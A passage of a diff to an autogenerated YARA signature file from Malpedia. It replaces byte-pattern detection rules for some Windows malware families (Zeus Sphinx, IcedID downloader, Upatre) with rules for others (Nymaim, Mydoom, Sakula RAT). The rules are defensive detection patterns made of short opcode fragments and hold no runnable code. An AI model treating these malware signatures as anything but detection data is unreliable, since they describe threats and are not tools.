"Felix Bilstein - yara-signator at cocacoding dot com" - id = "cc60ac31-7ae9-5152-95ad-d09a0d909f1a" + id = "6aaf8e64-ed2e-5afd-ab35-8772e849151b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_sphinx" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zeus_sphinx_auto.yar#L1-L157" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.entryshell" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.entryshell_auto.yar#L1-L132" license_url = "N/A" - logic_hash = "aa5ca92258dc544d26d29bb94ea2e9b532df6b20bb95794e6914a3376629593d" + logic_hash = "00133e95c431c2a3dcea85bea219e4bd4bbb96106a72aed7e1fb3e93342dd945" score = 75 quality = 75 tags = "FILE" @@ -145421,38 +145273,32 @@ rule MALPEDIA_Win_Zeus_Sphinx_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 e8???????? 891c24 89c6 e8???????? 83c410 8d65f4 } - $sequence_1 = { 50 e8???????? 83c410 e8???????? 8d65f8 } - $sequence_2 = { 52 53 57 e8???????? ff4750 83c410 } - $sequence_3 = { 50 e8???????? 83c420 48 } - $sequence_4 = { 50 e8???????? 83c430 85c0 7e0c } - $sequence_5 = { 50 e8???????? 83c418 68???????? 68???????? } - $sequence_6 = { 50 e8???????? 84c0 745f 8d442414 } - $sequence_7 = { 50 e8???????? 83c414 68???????? e8???????? c70424???????? } - $sequence_8 = { 01fc eb98 035e14 8ade } - $sequence_9 = { 010d???????? 60 5a 98 } - $sequence_10 = { 0303 50 ff550c 8b3e } - $sequence_11 = { 020a 42 1af6 af } - $sequence_12 = { 0162c9 cf 0c06 3c3e } - $sequence_13 = { 003b c09bdbe23ea11c 695600663ec700 de07 } - $sequence_14 = { 010c02 3bf7 0f85f0f50000 e9???????? } - $sequence_15 = { 0008 d7 9f b2d3 } + $sequence_0 = { 43 895de4 8b049578512501 8945ec 897df0 8a543828 8855ff } + $sequence_1 = { 5d c3 8d4301 57 50 e8???????? 83c404 } + $sequence_2 = { 6800020000 8d85f8fdffff 50 ff36 ffd3 85c0 0f855fffffff } + $sequence_3 = { 6a10 e8???????? 6a40 6a00 8d45a4 50 e8???????? } + $sequence_4 = { 83c202 6685c0 75f5 8b8df8dfffff 2bd6 83c1fe } + $sequence_5 = { 60 33d2 8b55f4 33c0 8d05e4382501 33c9 8b0c90 } + $sequence_6 = { 0101 8d22 0131 8d22 015e8d 2201 8e8d2201558b } + $sequence_7 = { c705????????00400000 33c0 c3 6a08 68???????? e8???????? 833d????????01 } + $sequence_8 = { 8bf2 ff15???????? 85c0 7523 68???????? ff15???????? } + $sequence_9 = { 50 e8???????? 83c414 8d85f8f7ffff 6a00 6a00 6aff } condition: - 7 of them and filesize < 3268608 + 7 of them and filesize < 663552 } -rule MALPEDIA_Win_Poscardstealer_Auto : FILE +rule MALPEDIA_Win_Icondown_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "53d91898-d02d-53b9-9813-59bf55e7c619" + id = "52465a95-defc-5467-a071-e9d8d0b66fd6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poscardstealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poscardstealer_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icondown" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.icondown_auto.yar#L1-L123" license_url = "N/A" - logic_hash = "8ad471a582e54a99878737b3b5b570978ce78744521ef98846f72f0bfe800fbd" + logic_hash = "ff2f5c555fcd472199db73f9b56f95ccfa2dde0f7fa2e7a52a938cbd42967fd9" score = 75 quality = 75 tags = "FILE" @@ -145466,34 +145312,34 @@ rule MALPEDIA_Win_Poscardstealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b5610 8955e4 8b4614 8945e8 897e10 897e14 837dcc10 } - $sequence_1 = { 6aff 6a00 50 8bce c645fc02 e8???????? 837de810 } - $sequence_2 = { e8???????? 83c404 397de8 0f82f6000000 } - $sequence_3 = { 51 e8???????? 83c420 50 8d8d74ffffff } - $sequence_4 = { 8901 c9 c3 3b0d???????? 7502 } - $sequence_5 = { 8bbd90edffff 40 898570edffff 3bc7 0f8ceffbffff 8b0d???????? } - $sequence_6 = { 7305 83c8ff eb08 33c0 83fe01 0f95c0 3bc7 } - $sequence_7 = { 8d45f4 64a300000000 8b35???????? c745fc00000000 8975ac 3b35???????? } - $sequence_8 = { c645fc01 e8???????? 6aff 40 50 8d559c 52 } - $sequence_9 = { c645fc0e e8???????? c645fc05 397de8 720c 8b4dd4 51 } + $sequence_0 = { ff15???????? 8b4608 8d542414 52 } + $sequence_1 = { 8bcf e8???????? 85c0 7415 8b4c2418 8b10 } + $sequence_2 = { c7466c01000000 8b4b1c 51 ff15???????? 5f 5e 5d } + $sequence_3 = { e8???????? 8d966c020000 52 68e9030000 57 e8???????? 8d8670020000 } + $sequence_4 = { 8b8690000000 8b48f8 85c9 740d 8b4e64 50 51 } + $sequence_5 = { 894e54 8b15???????? 895658 a1???????? 89465c 8b0d???????? } + $sequence_6 = { 46 f680c11c450004 741c 837d1000 } + $sequence_7 = { 895658 a1???????? 89465c 8b0d???????? 894e60 8b15???????? 895664 } + $sequence_8 = { 52 8b481c 51 ff15???????? 8b442404 6a01 } + $sequence_9 = { 740d 8b01 6a01 ff10 8b4e10 } condition: - 7 of them and filesize < 362496 + 7 of them and filesize < 5505024 } -rule MALPEDIA_Win_Nimrev_Auto : FILE +rule MALPEDIA_Win_Nymaim_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "45a43e4c-b390-5a59-8f10-bde6512a2548" + id = "30c4b930-78a7-5077-a5dc-408a5cbb77f2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nimrev" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nimrev_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nymaim" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nymaim_auto.yar#L1-L209" license_url = "N/A" - logic_hash = "cfe876922fc1333031ee5c82f8f6e15e7c6a81cc34499037bfc98c907bd66dbf" + logic_hash = "84775fe355e4469ac977f6fbd11fdede8794d879792df66f4d5d03f1510d45b2" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -145505,32 +145351,45 @@ rule MALPEDIA_Win_Nimrev_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8845ef eb01 90 807def00 } - $sequence_1 = { 0fb600 3c5f 7507 b801000000 } - $sequence_2 = { 3c7d 7407 b801000000 eb05 } - $sequence_3 = { 7507 b801000000 eb05 b800000000 8845f7 eb01 90 } - $sequence_4 = { 0fb600 3c7d 7407 b801000000 eb05 b800000000 } - $sequence_5 = { ffd0 90 e9???????? 90 b9d0070000 } - $sequence_6 = { c1e002 01d0 01c0 29c1 89c8 83c030 89c1 } - $sequence_7 = { 89c2 89d0 c1e002 01d0 01c0 29c1 89c8 } - $sequence_8 = { 83f001 84c0 7408 90 e8???????? eb01 } - $sequence_9 = { 0f9ec0 8845ef eb01 90 807def00 } + $sequence_0 = { 89d8 01c8 31d2 f7f7 } + $sequence_1 = { f7f7 92 31d2 bf64000000 } + $sequence_2 = { 0f94c1 09c8 6bc064 09c0 } + $sequence_3 = { 38f0 83d100 38d0 83d900 } + $sequence_4 = { 010d???????? 8b1d???????? 011d???????? c1eb13 } + $sequence_5 = { c1eb13 331d???????? 31c3 c1e808 } + $sequence_6 = { 31c3 891d???????? 89d8 01c8 } + $sequence_7 = { 31d2 bf64000000 f7f7 5b } + $sequence_8 = { 38d0 83d900 c1e105 01c8 } + $sequence_9 = { 00d3 8a16 301e 46 01fb } + $sequence_10 = { c1e808 31c3 895e0c 89d8 } + $sequence_11 = { 8b5604 0116 8b4e08 014e04 8b5e0c } + $sequence_12 = { 8b5d18 8b1b 4f 31c0 fec2 } + $sequence_13 = { f7e0 0fc8 01d0 894704 } + $sequence_14 = { 8b5514 8b12 8b4d0c 8b5d18 } + $sequence_15 = { 31c9 8b55f4 8b75ec 89723c c7424003000000 } + $sequence_16 = { 56 83ec28 8b450c 8b4d08 8d154e30d201 } + $sequence_17 = { 83ec44 8b4508 8d0d2030d201 31d2 890c24 c744240400000000 } + $sequence_18 = { 890424 894c2404 e8???????? 8d0d3430d201 } + $sequence_19 = { 5b 5d c3 8b45f0 8b0c850440d201 } + $sequence_20 = { 53 56 57 83ec44 8b4508 8d0d2030d201 } + $sequence_21 = { 31d2 890c24 c744240400000000 8945f4 8955f0 e8???????? 8d0d8630d201 } + $sequence_22 = { 55 89e5 83ec10 8b4508 8d0d3430d201 } condition: - 7 of them and filesize < 1141760 + 1 of them and filesize < 2375680 } -rule MALPEDIA_Win_Deeppost_Auto : FILE +rule MALPEDIA_Win_Akdoortea_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "26540ba9-fd06-58b9-819a-14fd842afc11" + id = "273d2f0d-acc7-5ac9-9a11-3e8564a6c5a7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.deeppost" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.deeppost_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.akdoortea" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.akdoortea_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "728aa018aa6f90f3b8f03324b5446d97f2579b8aa528bcd211ab4ccdadb166ba" + logic_hash = "2fa5ad11741a8504cc8c2573ed395ff2e4f2dd319c182aa1bdba253b5a1bde31" score = 75 quality = 75 tags = "FILE" @@ -145544,34 +145403,34 @@ rule MALPEDIA_Win_Deeppost_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff7640 e8???????? 83c410 8b4e3c 85c9 740e 8b06 } - $sequence_1 = { e8???????? 83c40c 85c0 7440 6a06 68???????? 56 } - $sequence_2 = { c1e708 0bca 0bf8 8b03 f780b800000000080000 7509 } - $sequence_3 = { 8bc3 c1e810 8bd6 0fb6c0 c1c208 0fb688589a4800 8bc3 } - $sequence_4 = { 8d85f0feffff 8bd7 53 ff7518 8bce 50 ff7510 } - $sequence_5 = { 8bd3 e8???????? 85c0 0f85ce000000 8d8694000000 8d8f94000000 8945fc } - $sequence_6 = { e8???????? 83c40c 837e1410 8b4d0c 894e10 720f 8b06 } - $sequence_7 = { e8???????? 83c408 85c0 0f84b4000000 6a00 c7404c805d4000 e8???????? } - $sequence_8 = { e8???????? 83c40c 8d0cb500000000 51 8b4dfc ff7108 ff7708 } - $sequence_9 = { e8???????? 83c404 85c0 0f8533080000 b901000000 894dfc e9???????? } + $sequence_0 = { 006118 40 007019 40 00411a } + $sequence_1 = { 7641 8d85f0feffff 8d5001 0f1f8000000000 8a08 } + $sequence_2 = { 8d8df0f9ffff 8d5002 e8???????? 8bf0 83c420 85f6 } + $sequence_3 = { 8bec 83ec0c 53 8bda 56 8bf1 57 } + $sequence_4 = { 50 8b04bdf8204200 ff741818 ff15???????? 85c0 0f95c0 eb02 } + $sequence_5 = { 7439 8d56ff 8a4201 8d5201 84c0 75f6 } + $sequence_6 = { 90 85f6 740b 83feff 0f859a000000 eb6c 8b1c8d10a24100 } + $sequence_7 = { e8???????? 83c414 ebe1 8b55ec 8b4de8 8b0495f8204200 807c082800 } + $sequence_8 = { 83c418 c745f803010000 8d45f8 50 8d4304 50 ff15???????? } + $sequence_9 = { ffd6 68f4010000 8bf0 ff15???????? 85ff 740e } condition: - 7 of them and filesize < 1332224 + 7 of them and filesize < 305152 } -rule MALPEDIA_Win_Racket_Auto : FILE +rule MALPEDIA_Win_Sisfader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f3a5d01f-f04e-5cab-9782-744a7bfd597c" + id = "a0cdd7ba-37f5-5dee-9bd0-dfe8ed58e119" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.racket" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.racket_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sisfader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sisfader_auto.yar#L1-L285" license_url = "N/A" - logic_hash = "60433cbd73972642cf68f927363d7c0cddb01db6fa6acbb68279911c92eddf9a" + logic_hash = "d369a40cd08ca7aac194db42ed12df65df4a56409fba20e45dda5f2780e9b9bf" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -145583,32 +145442,52 @@ rule MALPEDIA_Win_Racket_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 837e2400 750a c6460c00 8b35???????? 68???????? 57 ffd3 } - $sequence_1 = { c1e803 2401 837b0400 884303 751b 6a00 6a00 } - $sequence_2 = { 6a00 c706???????? 897e08 6a00 c7460c00000000 c7461000000000 6861080000 } - $sequence_3 = { 8945f0 56 50 8d45f4 64a300000000 8b4510 85c0 } - $sequence_4 = { 8987e4fdffff 8b86e0fdffff 8987e8fdffff 8b86e4fdffff 8987ecfdffff 8b86e8fdffff 8987f0fdffff } - $sequence_5 = { 57 53 56 8d4a1c e8???????? 5f 5b } - $sequence_6 = { 895dd0 8b7508 33ff 897dcc 8975bc 3b750c 0f8ddd070000 } - $sequence_7 = { 894dfc 394db8 0f8c37050000 8b5514 be01000000 2bd0 894df4 } - $sequence_8 = { f7c700000002 7446 8b0a 3b4a04 752a 837a1000 7517 } - $sequence_9 = { ffb548ffffff 0f57c0 c745ac00000000 8d4da4 660fd645a4 e8???????? } + $sequence_0 = { e8???????? 85c0 b91d000000 0f44d9 } + $sequence_1 = { 741f 33c0 85c9 7419 } + $sequence_2 = { 8905???????? c705????????00000000 8b442440 8905???????? } + $sequence_3 = { ff15???????? 85c0 7e08 03d8 3bdf 7c98 } + $sequence_4 = { 33c0 83f801 7425 baffffffff } + $sequence_5 = { 85c0 753e 8d47dc 8903 83f824 723b } + $sequence_6 = { c705????????10000000 8b442430 8905???????? c705????????07000000 } + $sequence_7 = { eb5b 837d0800 751f 8b451c 50 8b4d18 } + $sequence_8 = { 8b4508 8b4808 51 ff15???????? 83c408 8945e0 } + $sequence_9 = { 837c245000 7405 e9???????? 83bc248000000000 7539 } + $sequence_10 = { 837c245000 7402 eb12 c744245401000000 33c0 } + $sequence_11 = { 85c0 7502 eb71 8b45fc 8b08 } + $sequence_12 = { c7430438020000 66837c247c2e 751f 0fb744247e 6685c0 0f8496010000 6683f82e } + $sequence_13 = { ff15???????? 83c414 8945d8 837dd800 } + $sequence_14 = { 8b5118 52 8b45f4 8b4830 51 ff15???????? } + $sequence_15 = { ff15???????? 8945f8 837df800 7402 eb5b 837d0800 } + $sequence_16 = { 83ec60 c745fc00000000 c745e000000000 6a40 8b450c 50 e8???????? } + $sequence_17 = { e8???????? 85c0 7412 ba01000000 b910270000 } + $sequence_18 = { 89442420 837c242001 7425 837c242002 } + $sequence_19 = { 5e 5b 8be5 5d c3 3de3e00000 7511 } + $sequence_20 = { 51 ff15???????? 85c0 0f85ba010000 8b55fc 837a0c00 0f84ad010000 } + $sequence_21 = { 8a0410 30443924 41 3b4f04 72ee 8b4704 8bd7 } + $sequence_22 = { 7425 837c242002 7441 837c242003 } + $sequence_23 = { 0f1086f0000000 c7400410000000 c7400c00000000 0f114014 } + $sequence_24 = { 8b442464 89442430 8b442468 89442434 } + $sequence_25 = { a810 746a 8b570c 8d8c2460020000 6a00 e8???????? 83c404 } + $sequence_26 = { 8bd0 83e20f 8a8c0a00010000 300c18 } + $sequence_27 = { 685c020000 6a40 ffd6 0f1005???????? 8bf8 8b4508 0f114714 } + $sequence_28 = { 745d 837c242004 7479 837c242005 0f8480000000 e9???????? } + $sequence_29 = { c700aaeeddff 33c0 894710 c7470430020000 8d4840 ff15???????? } condition: - 7 of them and filesize < 985088 + 7 of them and filesize < 417792 } -rule MALPEDIA_Win_Splinter_Auto : FILE +rule MALPEDIA_Win_Crackedcantil_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d16ca329-56e4-510f-9e6c-3e0242a5a17c" + id = "cc3fcc34-6200-516b-a930-713cd7528fd1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.splinter" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.splinter_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crackedcantil" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crackedcantil_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "fbea70ebd33891fb1f580e85b1d2c0146d8b7b0ac901561f3697caf4edb74461" + logic_hash = "63fa5a97e37e9297a9b2c0a9f33b3e3f4a0c35e0f5f733be56805a4bbd636bfb" score = 75 quality = 75 tags = "FILE" @@ -145622,32 +145501,32 @@ rule MALPEDIA_Win_Splinter_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f048ff08 7510 488b4df0 4881c120020000 e8???????? 90 4883c420 } - $sequence_1 = { f048ff08 0f855dfeffff 4883c178 e8???????? e9???????? 488b8558010000 48894530 } - $sequence_2 = { 741b 4c39c0 0f847c000000 420fb61c02 80c3d0 49ffc0 80fb0a } - $sequence_3 = { e9???????? 4c8d0547ba2d00 4889c2 e8???????? 4c8d0538ba2d00 4889c1 e8???????? } - $sequence_4 = { e9???????? 8b05???????? 65488b0c2558000000 488b34c1 488d8e38020000 488d15c6f10000 e8???????? } - $sequence_5 = { f30f7f06 488b9de0030000 4885db 0f8411010000 488db550010000 488d95b0000000 41b898000000 } - $sequence_6 = { e8???????? 84c0 488bbd08040000 743b 8b05???????? 65488b0c2558000000 488b04c1 } - $sequence_7 = { e8???????? eb17 4c8955e8 4c894df0 4c8d05cc034500 4889c1 e8???????? } - $sequence_8 = { f30f7f8910020000 488b4c2448 4c89ea e8???????? 4889f1 4821c1 f30f6f040f } - $sequence_9 = { e8???????? eb2e c685c700000001 4c8d050b894c00 4c89f9 e8???????? eb16 } + $sequence_0 = { ffc8 89442420 837c242400 7e45 488b442428 4883780800 7429 } + $sequence_1 = { e8???????? 90 488d8c24e06f0000 e8???????? 488d842483000000 488bf8 33c0 } + $sequence_2 = { f7d9 81e9b2638081 29cb 59 81c3e75cef77 81ebcdbddaf2 01d8 } + $sequence_3 = { ffc9 8bc9 488b542478 88040a 488b542438 488b4c2478 e8???????? } + $sequence_4 = { f3aa 0fb684248e000000 88842490040000 660f6f842490570000 660f7f842470350000 488b8424c80f0000 f30f6f00 } + $sequence_5 = { e8???????? 90 488d842470030000 4889842478030000 488b942478030000 488d0de1993000 e8???????? } + $sequence_6 = { e8???????? 488bc8 e8???????? 488bc8 e8???????? 898424301c0000 ba08000000 } + $sequence_7 = { f3aa 488d8424b8020000 488bf8 33c0 b901000000 f3aa 488d8424b9020000 } + $sequence_8 = { ffc0 89442430 488b442478 0fb74060 ffc8 39442430 7d3d } + $sequence_9 = { e9???????? 9c 4156 4883ec08 4c893424 ff3424 415e } condition: - 7 of them and filesize < 20177920 + 7 of them and filesize < 37863424 } -rule MALPEDIA_Win_Hesperbot_Auto : FILE +rule MALPEDIA_Win_Mydoom_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "e0f58539-e576-5f23-9601-3ac2130a34d6" + id = "7e77b916-3ba2-5a80-a19d-24731b91f9bc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hesperbot" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hesperbot_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mydoom" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mydoom_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "1227a34f1bfab44843a47045e0bfbe06efc158b222a90f56ca95eeb7d184b831" + logic_hash = "35d52ce2fd0848990f084283aa4885b799e1dbfb0fb9f161e6a1a896179d7494" score = 75 quality = 75 tags = "FILE" @@ -145661,32 +145540,32 @@ rule MALPEDIA_Win_Hesperbot_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 33f0 8b442440 0b442438 33cf 23442448 8b7c2444 8b5c2440 } - $sequence_1 = { 33c0 f644240401 7405 b800000200 f644240402 7405 } - $sequence_2 = { 33ed 0be9 33f5 8b6c244c 0fa4dd19 c1e807 c1e319 } - $sequence_3 = { 5e c3 56 8d7010 e8???????? 5e c3 } - $sequence_4 = { 0bcd 33f1 8b4c2434 0b4c242c c1e807 c1e319 0bc3 } - $sequence_5 = { 3bc6 741c 3930 7418 } - $sequence_6 = { 134c241c 01442438 89442458 8b442420 114c243c 8bf8 0facdf1c } - $sequence_7 = { 8b4708 89460c 8b4704 894610 8b4714 894614 8b442408 } - $sequence_8 = { 5f 5b 5d c3 55 8bec 81ecd8000000 } - $sequence_9 = { 59 85db 742f 56 ff742414 } + $sequence_0 = { 89442404 893424 e8???????? ba00000000 eb20 ba00000000 } + $sequence_1 = { 8d45f8 89442410 c744240c19000200 c744240800000000 895c2404 } + $sequence_2 = { c3 55 89e5 83ec48 895df4 8975f8 } + $sequence_3 = { e8???????? c78538feffff44000000 c78564feffff01000000 66c78568feffff0500 } + $sequence_4 = { 53 81ec94010000 c7442404???????? 8d9d38ffffff 891c24 } + $sequence_5 = { c7042401000080 e8???????? 83ec14 85c0 7547 893424 e8???????? } + $sequence_6 = { 380a 7415 42 803a00 7406 } + $sequence_7 = { 8d85c8fdffff 890424 e8???????? 83ec04 8b4508 890424 e8???????? } + $sequence_8 = { 8945cc 0fb745e6 668945ca c744240810000000 8d45c8 } + $sequence_9 = { 8b7508 8b5d0c 803b00 7414 0fbe03 } condition: - 7 of them and filesize < 188416 + 7 of them and filesize < 114688 } -rule MALPEDIA_Win_Icedid_Downloader_Auto : FILE +rule MALPEDIA_Win_Bachosens_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "d7ee6583-0e42-548a-a503-976de56f1492" + id = "21e78cd2-1c72-5a79-a705-15dc4e8e3d2a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid_downloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.icedid_downloader_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bachosens" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bachosens_auto.yar#L1-L114" license_url = "N/A" - logic_hash = "3ad62116cc53f8a172c118313873b176a6f13aff503ffabc7e8b01bb236f4bad" + logic_hash = "34aedbb89c2e7af974768523a03e9308ee6c49afb8486001bfd1e9169e8bf87c" score = 75 quality = 75 tags = "FILE" @@ -145700,34 +145579,34 @@ rule MALPEDIA_Win_Icedid_Downloader_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8bf0 8944241c 8d442408 50 6a08 6aff 885c241c } - $sequence_1 = { 56 6a02 ff74241c ffd7 ff15???????? 83f87a 0f85e9000000 } - $sequence_2 = { 8bf0 e8???????? 85f6 740c 8b4508 3b07 } - $sequence_3 = { 83e801 740a 83e801 751c 80cb01 } - $sequence_4 = { 56 68000000c0 ff7510 ff15???????? } - $sequence_5 = { 8d442428 50 ff742438 ff15???????? 8d442440 50 68???????? } - $sequence_6 = { 7821 395df8 741c 6a04 8d45f8 } - $sequence_7 = { 8b08 50 ff5114 85c0 7404 33c0 } - $sequence_8 = { 8b442418 8d542430 59 59 56 8b08 } - $sequence_9 = { 896c241c 896c240c 896c2420 896c2438 895c2434 ff15???????? } + $sequence_0 = { 4d8bd4 4d2bdc 4d8bc4 49f7da } + $sequence_1 = { 488bf9 488b5018 488b5a20 488bd1 488b4b50 e8???????? } + $sequence_2 = { 49f7da 6666660f1f840000000000 430fb61403 410fb608 } + $sequence_3 = { 740e 488bc7 ffc1 488d4001 803800 } + $sequence_4 = { 33d2 385500 740e 488bc5 ffc2 } + $sequence_5 = { 660f1f840000000000 420fb61407 410fb608 8d429f } + $sequence_6 = { 41380a 7417 498bc2 660f1f840000000000 ffc1 } + $sequence_7 = { 66390a 7417 488bc2 0f1f840000000000 ffc1 488d4002 } + $sequence_8 = { 430fb61403 410fb608 8d429f 3c19 } + $sequence_9 = { 803800 75f5 3bca 7550 4c63d1 85c9 7e42 } condition: - 7 of them and filesize < 40960 + 7 of them and filesize < 643072 } -rule MALPEDIA_Win_Upatre_Auto : FILE +rule MALPEDIA_Win_Sakula_Rat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "040bdafc-33da-58ba-b810-486451f4b678" + id = "5af52a87-4449-5086-85f2-378359f4ae21" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.upatre" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.upatre_auto.yar#L1-L173" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sakula_rat" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sakula_rat_auto.yar#L1-L238" license_url = "N/A" - logic_hash = "3a267d65c074b009b5eb1fad7789aa126fe3aa82fa66dade27c6fa55c83ed7ca" + logic_hash = "58d4e203f11e4dd863a93827734d462109e66a0a903d18e391705e909badfaf0" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -145739,38 +145618,45 @@ rule MALPEDIA_Win_Upatre_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { b02f 66ab 8b45a8 ff5504 33c9 8ac8 ff5508 } - $sequence_1 = { b400 66ab b02f 66ab ff7590 33c0 } - $sequence_2 = { 81c60e010000 ac 3c01 740c b053 66ab } - $sequence_3 = { 6a00 8d4dc0 51 ff75e0 ff75bc ff75ec } - $sequence_4 = { 58 6a00 8d4de0 51 50 } - $sequence_5 = { 33c0 b404 57 03f8 8bf7 } - $sequence_6 = { b404 895d98 8bfb 03d8 b91c010000 } - $sequence_7 = { 33c0 66ab bbff0f0000 8b75f0 56 53 } - $sequence_8 = { 68d770a437 8b4dd4 51 e8???????? 8945e8 } - $sequence_9 = { 83c404 0fb7c0 3b4510 7411 8b4de0 51 } - $sequence_10 = { 83c410 eb58 8b4df4 8b510c 52 e8???????? } - $sequence_11 = { 1f c011a0 6b20bd 80978041a0e3b2 34c0 8fc0 81205b606d00 } - $sequence_12 = { 83c108 894dfc 8b55fc 8b02 50 e8???????? } - $sequence_13 = { 0fb745f8 0fb74df4 99 f7f9 } - $sequence_14 = { 0f8416010000 8b55f4 8b420c 50 e8???????? } - $sequence_15 = { 7529 8b4df4 8b5110 81c200100000 8955f0 8d45f0 } + $sequence_0 = { 6a00 6800010000 6a00 6a00 68???????? } + $sequence_1 = { b802000000 eb0a f7d8 1bc0 83e0fd } + $sequence_2 = { 83e103 8d8396000000 f3a4 8bc8 8a10 40 84d2 } + $sequence_3 = { 33f6 8d4900 ff15???????? 33d2 b914000000 } + $sequence_4 = { 889c244b010000 48 8d642400 8a4801 40 3acb } + $sequence_5 = { eb05 41 3bce 72dd 8d46ff } + $sequence_6 = { 50 6800040000 57 6a02 51 ff15???????? } + $sequence_7 = { 6a00 6a00 6a00 53 6aff 56 6a00 } + $sequence_8 = { 48895c2420 ff15???????? 33d2 488bcb ff15???????? } + $sequence_9 = { 8b45f8 8b5df4 39d8 721e 741c 29d8 0345fc } + $sequence_10 = { 4c8d4dd7 4c8d05791d0000 488d0d8a1d0000 33d2 ff15???????? } + $sequence_11 = { e8???????? 8b45f0 eb02 31c0 50 ff75fc e8???????? } + $sequence_12 = { 3bc6 745f 4c8d4dcf 4c8d055b1d0000 488d0d7c1f0000 } + $sequence_13 = { 8b4d08 034df8 0fbe11 83fa41 7c16 8b4508 0345f8 } + $sequence_14 = { 488bd8 4885c0 0f84d3000000 8d7e2f 33d2 488bc8 448bc7 } + $sequence_15 = { 